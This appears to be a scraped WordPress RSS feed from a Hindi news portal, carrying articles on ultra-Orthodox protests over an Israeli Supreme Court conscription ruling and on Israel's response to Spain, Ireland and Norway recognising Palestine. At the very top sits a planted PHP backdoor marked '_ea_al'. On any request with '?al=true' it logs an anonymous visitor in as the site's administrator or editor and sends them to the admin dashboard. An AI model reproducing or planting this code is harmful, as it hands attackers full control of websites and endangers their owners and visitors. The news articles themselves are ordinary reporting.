// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); इजरायल – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 07 Jul 2024 13:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 इजरायल के सुप्रीम कोर्ट के एक फैसले के बाद कट्टरपंथी यहूदी भड़के हुए हैं और वे सड़कों पर उतर आए https://pratyushaashakinayikiran.com/?p=48984 Sun, 07 Jul 2024 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=48984 तेल अवीव
इजरायल के सुप्रीम कोर्ट के एक फैसले के बाद कट्टरपंथी यहूदी भड़के हुए हैं और वे सड़कों पर उतर आए हैं। दरअसल सुप्रीम कोर्ट ने अपने फैसले में कहा है कि अब अति रूढ़िवादी यहूदियों को भी सामान्य यहूदियों की तरह सेना में अनिवार्य सेवा देनी होगी। इसके अलावा सरकार की तरफ से मिलने वाली विशेष सुविधाएं उन्हें नहीं दी जाएंगी। अब तक कट्टर यहूदियों के लिए सेना में सेवा देना अनिवार्य नहीं है।

सुप्रीम कोर्ट ने अपने फैसले में कहा कि युवा हरेदी पुरुषों को भी सेना में भर्ती किया जाना चाहिए। अब येशिवा में पढ़ने वाले युवा इस फैसले के खिलाफ उतर आए हैं। उनका कहना है कि इससे उनके धार्मिक जीवन पर असर पड़ेगा और वे धर्म का पालन नहीं कर पाएंगे। उनका कहना है कि उनका आध्यात्मिक जीवन और पूजा-पाठ इजरायल की सुरक्षा के लिए जरूरी है।

रिपोर्ट की मानें तो युवाओं को इस बात पर ऐतराज है कि अगर उन्हें सेना में जाना पड़ा तो उनको धार्मिक भक्ति के रास्ते से हटना पड़ेगा। ऐसे में उनकी आस्था कमजोर हो जाएगी जो कि देश के लिए भी खतरनाक साबित होगी। उनका कहना है कि इजरायली सेना को भी उनकी कोई जरूरत नहीं है। कट्टर यहूदी मानते हैं कि उनके धर्म को बचाए रखने के लिए जरूरी है कि वे लोग धर्म का पालन करें और अन्य कामों में ज्यादा समय ना गवाएं।

इजरायल में अति-रूढ़िवादी लोगों की संख्या 10 लाख से भी ज्यादा है। यानी यह इजरायल की जनसंख्या के 12 फीसदी के करीब है। अति रूढ़िवादी दलों का सत्ता में भी दखल रहता है। लंबे समय से ये दल प्रधानमंत्री बेंजामिन नेतन्याहू का साथ दे रहे हैं। कट्टर यहूदियों को टैक्स में भी छूट मिलती है। वहीं सामान्य यहूदी सेना में अनिवार्य सेवा भी देते हैं और टैक्स का भी भुगतान करते हैं। पहले भी इजरायल की संसद में एक विधेयक पारित हुआ था जिसके मुताबिक हरेदी युवाओं को आंशिक रूप से सेना में भर्ती किया जाना था। हालांकि यह कानून अब तक लागू नहीं हो पाया। इस कानून का हरेदी नेता विरोध करते हैं।

येशिवा छात्रों को मिलती है छूट
येशिवा छात्र वे होते हैं जो कि टोरा का अध्ययन करते हैं और यहूदी धर्म के नियमों का कट्टरता से पालन करते हैं। इन्हें सेना में जाने से छूट है। वहीं यह समूह हमेशा से ही बदलाव के खिलाफ रहा है। वहीं कट्टरपंथी यहूदियों का प्रदर्शन कई जगहों पर उग्र हो रहा है। कई  इलाकों में हिंसा और तोड़फोड़ भी हुई है। अब सवाल है कि बेंजामिन नेतन्याहू सुप्रीम कोर्ट के इस फैसले के सपोर्ट में कदम उठाएंगे या फिर राजनीतिक फायदे के लिए कोई और रास्ता निकालेंगे।

 

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3 देशों को इजरायल की धमकी, राजदूतों को बुलाकर सुनाया, कहा – अब अंजाम भुगतना https://pratyushaashakinayikiran.com/?p=33676 Fri, 24 May 2024 12:56:00 +0000 https://pratyushaashakinayikiran.com/?p=33676 तेल अवीव

फिलिस्तीन को मान्यता देने वाले तीन देशों स्पेन, आयरलैंड और नॉर्वे पर इजरायल ने भड़ास निकाली है। इसके अलावा इजरायल ने इन देशों से रिश्ते रखने वाले देशों को लेकर भी चेतावनी दी है। इजरायल ने कहा कि इन देशों से रिश्ते रखने वालों को गंभीर परिणाम भुगतने होंगे। इजरायल के विदेश मंत्रालय ने कहा, 'इन देशों ने जो फैसला लिया है। उसका असर होगा और अंजाम भी सामने आएगा।' इजरायल ने तीनों देशों के राजनयिकों को तलब किया और कहा कि आपके देश ने जो किया है, वह फैसला ठीक नहीं है। इन देशों से इजरायल ने अपने राजदूतों को वापस भी बुला लिया है।

इस मीटिंग के दौरान इजरायली अधिकारियों ने तीनों राजनयिकों को एक वीडियो दिखाया, जिसमें दिखता है कि कैसे हमास के आतंकियों ने 5 इजरायली महिलाओं को अगवा किया था। ये पांचों महिलाएं इजरायल की सैनिक थीं। तीन मिनट की इस वीडियो क्लिप को इजरायल ने मीडिया को भी जारी किया है। इस वीडियो में दिखता है कि महिलाएं जमीन पर बैछी हैं और उनके चेहरों पर खून लगा है। यही नहीं हमास के आतंकियों ने उन लोगों के हाथ भी बांध रखे हैं। यह क्लिप दो घंटे के उस वीडियो से निकाली गई है, जिसे हमास के आतंकियों के बॉडी कैमरे से शूट किया गया था।

इजरायली विदेश मंत्रालय के सीनियर अधिकारी जैकब ब्लिट्सटेन ने राजनयिकों को बताया कि कैसे उनके देशों की ओर से फिलिस्तीन को मान्यता देने से नुकसान होगा।  उन्होंने कहा कि फिलिस्तीन को मान्यता देने के फैसले से हमास के हौसले बुलंद होंगे। इजरायली अधिकारी ने कहा कि अब हमारे लिए हमास से बंधकों की रिहाई के लिए बात करना कठिन होगा, जो अब भी उनके कब्जे में हैं। दरअसल स्पेन, नॉर्वे और आयरलैंड के ऐलान से इजरायल को करारा झटका लगा है। इसके अलावा कोलंबिया ने फिलिस्तीन में दूतावास खोलने का भी ऐलान किया है। हालांकि इजरायल इन देशों के ऐलान से पीछे हटता नहीं दिख रहा है।

अब भी इजरायल की ओर से राफा पर लगातार हमले जारी हैं। इन हमलों के चलते राफा शहर से करीब 5 लाख लोग पलायन कर चुके हैं। शहर की कुल आबादी ही 12 लाख के करीब है। इस बीच गुरुवार को गाजा में इजरायली सेना ने जोरदार हमले किए और बम भी बरसाए। इन हमलों में करीब 50 फिलिस्तीनी मारे जा चुके हैं। वहीं फिलिस्तीन के राफा शहर की ओर इजरायल के टैंक बढ़ने लगे हैं। राफा के अलावा गाजा के अन्य हिस्सों पर भी इजरायली सेना हमले कर रही है।  

 

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